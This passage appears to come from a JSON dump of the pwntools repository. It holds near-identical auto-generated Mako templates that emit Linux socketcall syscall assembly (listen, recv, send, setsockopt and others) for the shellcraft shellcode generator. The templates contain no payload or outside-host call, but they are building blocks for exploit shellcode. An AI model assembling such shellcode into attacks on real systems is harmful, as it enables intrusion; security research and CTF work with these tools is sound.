['SYS_socketcall_getsockname'])\n%>\n    /* socketcall_getsockname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_getsockopt.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_getsockopt(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_getsockopt.\n\nSee 'man 2 socketcall_getsockopt' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_getsockopt']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_getsockopt'])\n%>\n    /* socketcall_getsockopt(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_listen.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_listen(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_listen.\n\nSee 'man 2 socketcall_listen' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_listen']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_listen'])\n%>\n    /* socketcall_listen(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_recv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_recv(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_recv.\n\nSee 'man 2 socketcall_recv' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_recv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_recv'])\n%>\n    /* socketcall_recv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_recvfrom.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_recvfrom(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_recvfrom.\n\nSee 'man 2 socketcall_recvfrom' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_recvfrom']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_recvfrom'])\n%>\n    /* socketcall_recvfrom(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_recvmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_recvmsg(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_recvmsg.\n\nSee 'man 2 socketcall_recvmsg' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_recvmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_recvmsg'])\n%>\n    /* socketcall_recvmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_send.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_send(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_send.\n\nSee 'man 2 socketcall_send' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_send']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_send'])\n%>\n    /* socketcall_send(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_sendmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_sendmsg(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_sendmsg.\n\nSee 'man 2 socketcall_sendmsg' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_sendmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_sendmsg'])\n%>\n    /* socketcall_sendmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_sendto.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_sendto(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_sendto.\n\nSee 'man 2 socketcall_sendto' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_sendto']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_sendto'])\n%>\n    /* socketcall_sendto(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_setsockopt.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_setsockopt(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_setsockopt.\n\nSee 'man 2 socketcall_setsockopt' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, 